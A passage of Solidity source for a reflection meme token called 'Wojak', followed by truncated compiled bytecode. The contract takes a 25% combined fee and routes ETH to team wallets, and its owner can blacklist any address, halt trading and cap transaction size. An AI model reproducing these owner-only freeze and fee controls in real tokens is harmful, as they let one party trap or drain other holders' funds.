function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Wojak is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Wojak";
string private constant _symbol = "Wojak";
uint8 private constant _decimals = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
mapping(address => bool) private bots;
mapping(address => uint256) public cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private takefeeEnabled = false;
bool private takeFee = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setFeeEnabled(bool onoff) external onlyOwner() {
takefeeEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
{
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (takefeeEnabled) {
takeFee = true;
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
swapEnabled = true;
takeFee = true;
_maxTxAmount = 100000000 * 10**18;
tradingOpen = true;
}
function emergencyStop() external onlyOwner() {
swapEnabled = false;
takeFee = false;
_maxTxAmount = 100000000 * 10**18;
tradingOpen = false;
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setUniswapV2Pair(address pair) public onlyOwner {
uniswapV2Pair = pair;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b222e0c21161006f578063b222e0c2146103c5578063b515566a14610402578063c3c8cd801461042b578063c9567bf914610442578063d543dbeb14610459578063dd62ed3e1461048257610135565b8063715018a6146102f25780638da5cb5b1461030957806395d89b4114610334578063a29a60891461035f578063a9059cbb1461038857610135565b8063273123b7116100f2578063273123b714610233578063313ce5671461025c57806363a599a4146102875780636fc3eaec1461029e57806370a08231146102b557610135565b806306fdde031461013a578063095ea7b3146101655780630db474fa146101a257806318160ddd146101cb57806323b872dd146101f657610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104bf565b60405161015c91906128fe565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612592565b6104fc565b60405161019991906128e3565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c4919061260f565b61051a565b005b3480156101d757600080fd5b506101e06105cc565b6040516101ed9190612a60565b60405180910390f35b34801561020257600080fd5b5061021d60048036038101906102189190612543565b6105e0565b60405161022a91906128e3565b60405180910390f35b34801561023f57600080fd5b5061025a600480360381019061025591906124b5565b6106b9565b005b34801561026857600080fd5b506102716107a9565b60405161027e9190612ad5565b60405180910390f35b34801561029357600080fd5b5061029c6107b2565b005b3480156102aa57600080fd5b506102b36108ac565b005b3480156102c157600080fd5b506102dc60048036038101906102d791906124b5565b61091e565b6040516102e99190612a60565b60405180910390f35b3480156102fe57600080fd5b5061030761096f565b005b34801561031557600080fd5b5061031e610ac2565b60405161032b91906128c8565b60405180910390f35b34801561034057600080fd5b50610349610aeb565b60405161035691906128fe565b60405180910390f35b34801561036b57600080fd5b50610386600480360381019061038191906124b5565b610b28565b005b34801561039457600080fd5b506103af60048036038101906103aa9190612592565b610c01565b6040516103bc91906128e3565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e791906124b5565b610c1f565b6040516103f99190612a60565b60405180910390f35b34801561040e57600080fd5b50610429600480360381019061042491906125ce565b610c37565b005b34801561043757600080fd5b50610440610d87565b005b34801561044e57600080fd5b50610457610e01565b005b34801561046557600080fd5b50610480600480360381019061047b9190612638565b610efb565b005b34801561048e57600080fd5b506104a960048036038101906104a49190612507565b611047565b6040516104b69190612a60565b60405180910390f35b60606040518060400160405280600581526020017f576f6a616b000000000000000000000000000000000000000000000000000000815250905090565b60006105106105096110ce565b84846110d6565b6001905092915050565b6105226110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a6906129e0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b60006b06765c793fa10079d0000000905090565b60006105ed8484846112a1565b6106ae846105f96110ce565b6106a98560405180606001604052806028815260200161314760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065f6110ce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e59092919063ffffffff16565b6110d6565b600190509392505050565b6106c16110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610745906129e0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b6107ba6110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083e906129e0565b60405180910390fd5b6000600f60166101000a81548160ff0219169083151502179055506000600f60186101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506000600f60146101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108ed6110ce565b73ffffffffffffffffffffffffffffffffffffffff161461090d57600080fd5b600047905061091b81611849565b50565b6000610968600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611944565b9050919050565b6109776110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fb906129e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f576f6a616b000000000000000000000000000000000000000000000000000000815250905090565b610b306110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb4906129e0565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610c15610c0e6110ce565b84846112a1565b6001905092915050565b600b6020528060005260406000206000915090505481565b610c3f6110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc3906129e0565b60405180910390fd5b60005b8151811015610d83576001600a6000848481518110610d17577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d7b90612d76565b915050610ccf565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dc86110ce565b73ffffffffffffffffffffffffffffffffffffffff1614610de857600080fd5b6000610df33061091e565b9050610dfe816119b2565b50565b610e096110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d906129e0565b60405180910390fd5b6001600f60166101000a81548160ff0219169083151502179055506001600f60186101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506001600f60146101000a81548160ff021916908315150217905550565b610f036110ce565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f87906129e0565b60405180910390fd5b60008111610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca906129a0565b60405180910390fd5b6110056064610ff7836b06765c793fa10079d0000000611cac90919063ffffffff16565b611d2790919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161103c9190612a60565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113d90612a40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ad90612960565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112949190612a60565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611311576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130890612a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890612920565b60405180910390fd5b600081116113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90612a00565b60405180910390fd5b6113cc610ac2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561143a575061140a610ac2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156116d2573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114a757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115015750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561155b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b5060105481111561156b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561160f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61161857600080fd5b60006116233061091e565b9050600f60159054906101000a900460ff161580156116905750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116a85750600f60169054906101000a900460ff165b156116d0576116b6816119b2565b600047905060008111156116ce576116cd47611849565b5b505b505b600f60179054906101000a900460ff1615611703576001600f60186101000a81548160ff0219169083151502179055505b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117a45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156117c5576000600f60186101000a81548160ff0219169083151502179055505b6117e0838383600f60189054906101000a900460ff16611d71565b505050565b600083831115829061182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182491906128fe565b60405180910390fd5b506000838561183c9190612c77565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611899600284611d2790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156118c4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611915600284611d2790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611940573d6000803e3d6000fd5b5050565b600060065482111561198b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198290612940565b60405180910390fd5b6000611995611d9e565b90506119aa8184611d2790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a10577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611a3e5781602001602082028036833780820191505090505b5090503081600081518110611a7c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611b1e57600080fd5b505afa158015611b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5691906124de565b81600181518110611b90577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bf730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110d6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c5b959493929190612a7b565b600060405180830381600087803b158015611c7557600080fd5b505af1158015611c89573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600080831415611cbf5760009050611d21565b60008284611ccd9190612c1d565b9050828482611cdc9190612bec565b14611d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d13906129c0565b60405180910390fd5b809150505b92915050565b6000611d6983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dc9565b905092915050565b80611d7f57611d7e611e2c565b5b611d8a848484611e5d565b80611d9857611d97612028565b5b50505050565b6000806000611dab61203a565b91509150611dc28183611d2790919063ffffffff16565b9250505090565b60008083118290611e10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0791906128fe565b60405180910390fd5b5060008385611e1f9190612bec565b9050809150509392505050565b6000600854148015611e4057506000600954145b15611e4a57611e5b565b600060088190555060006009819055505b565b600080600080600080611e6f876120a5565b955095509550955095509550611ecd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fae816121b5565b611fb88483612272565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120159190612a60565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b6000806000600654905060006b06765c793fa10079d000000090506120766b06765c793fa10079d0000000600654611d2790919063ffffffff16565b821015612098576006546b06765c793fa10079d00000009350935050506120a1565b81819350935050505b9091565b60008060008060008060008060006120c28a6008546009546122ac565b92509250925060006120d2611d9e565b905060008060006120e58e878787612342565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061214f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117e5565b905092915050565b60008082846121669190612b96565b9050838110156121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290612980565b60405180910390fd5b8091505092915050565b60006121bf611d9e565b905060006121d68284611cac90919063ffffffff16565b905061222a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122878260065461210d90919063ffffffff16565b6006819055506122a28160075461215790919063ffffffff16565b6007819055505050565b6000806000806122d860646122ca888a611cac90919063ffffffff16565b611d2790919063ffffffff16565b9050600061230260646122f4888b611cac90919063ffffffff16565b611d2790919063ffffffff16565b9050600061232b8261231d858c61210d90919063ffffffff16565b61210d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061235b8589611cac90919063ffffffff16565b905060006123728689611cac90919063ffffffff16565b905060006123898789611cac90919063ffffffff16565b905060006123b2826123a4858761210d90919063ffffffff16565b61210d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006123de6123d984612b15565b612af0565b905080838252602082019050828560208602820111156123fd57600080fd5b60005b8581101561242d57816124138882612437565b845260208401935060208301925050600181019050612400565b5050509392505050565b60008135905061244681613101565b92915050565b60008151905061245b81613101565b92915050565b600082601f83011261247257600080fd5b81356124828482602086016123cb565b91505092915050565b60008135905061249a81613118565b92915050565b6000813590506124af8161312f565b92915050565b6000602082840312156124c757600080fd5b60006124d584828501612437565b91505092915050565b6000602082840312156124f057600080fd5b60006124fe8482850161244c565b91505092915050565b6000806040838503121561251a57600080fd5b600061252885828601612437565b925050602061253985828601612437565b9150509250929050565b60008060006060848603121561255857600080fd5b600061256686828701612437565b935050602061257786828701612437565b9250506040612588868287016124a0565b9150509250925092565b600080604083850312156125a557600080fd5b60006125b385828601612437565b92505060206125c4858286016124a0565b9150509250929050565b6000602082840312156125e057600080fd5b600082013567ffffffffffffffff8111156125fa57600080fd5b61260684828501612461565b91505092915050565b60006020828403121561262157600080fd5b600061262f8482850161248b565b91505092915050565b60006020828403121561264a57600080fd5b6000612658848285016124a0565b91505092915050565b600061266d8383612679565b60208301905092915050565b61268281612cab565b82525050565b61269181612cab565b82525050565b60006126a282612b51565b6126ac8185612b74565b93506126b783612b41565b8060005b838110156126e85781516126cf8882612661565b97506126da83612b67565b9250506001810190506126bb565b5085935050505092915050565b6126fe81612cbd565b82525050565b61270d81612d00565b82525050565b600061271e82612b5c565b6127288185612b85565b9350612738818560208601612d12565b61274181612e4c565b840191505092915050565b6000612759602383612b85565b915061276482612e5d565b604082019050919050565b600061277c602a83612b85565b915061278782612eac565b604082019050919050565b600061279f602283612b85565b91506127aa82612efb565b604082019050919050565b60006127c2601b83612b85565b91506127cd82612f4a565b602082019050919050565b60006127e5601d83612b85565b91506127f082612f73565b602082019050919050565b6000612808602183612b85565b915061281382612f9c565b604082019050919050565b600061282b602083612b85565b915061283682612feb565b602082019050919050565b600061284e602983612b85565b915061285982613014565b604082019050919050565b6000612871602583612b85565b915061287c82613063565b604082019050919050565b6000612894602483612b85565b915061289f826130b2565b604082019050919050565b6128b381612ce9565b82525050565b6128c281612cf3565b82525050565b60006020820190506128dd6000830184612688565b92915050565b60006020820190506128f860008301846126f5565b92915050565b600060208201905081810360008301526129188184612713565b905092915050565b600060208201905081810360008301526129398161274c565b9050919050565b600060208201905081810360008301526129598161276f565b9050919050565b6000602082019050818103600083015261297981612792565b9050919050565b60006020820190508181036000830152612999816127b5565b9050919050565b600060208201905081810360008301526129b9816127d8565b9050919050565b600060208201905081810360008301526129d9816127fb565b9050919050565b600060208201905081810360008301526129f98161281e565b9050919050565b60006020820190508181036000830152612a1981612841565b9050919050565b60006020820190508181036000830152612a3981612864565b9050919050565b60006020820190508181036000830152612a5981612887565b9050919050565b6000602082019050612a7560008301846128aa565b92915050565b600060a082019050612a9060008301886128aa565b612a9d6020830187612704565b8181036040830152612aaf8186612697565b9050612abe6060830185612688565b612acb60808301846128aa565b9695505050505050565b6000602082019050612aea60008301846128b9565b92915050565b6000612afa612b0b565b9050612b068282612d45565b919050565b6000604051905090565b600067ffffffffffffffff821115612b3057612b2f612e1d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ba182612ce9565b9150612bac83612ce9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612be157612be0612dbf565b5b828201905092915050565b6000612bf782612ce9565b9150612c0283612ce9565b925082612c1257612c11612dee565b5b828204905092915050565b6000612c2882612ce9565b9150612c3383612ce9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c6c57612c6b612dbf565b5b828202905092915050565b600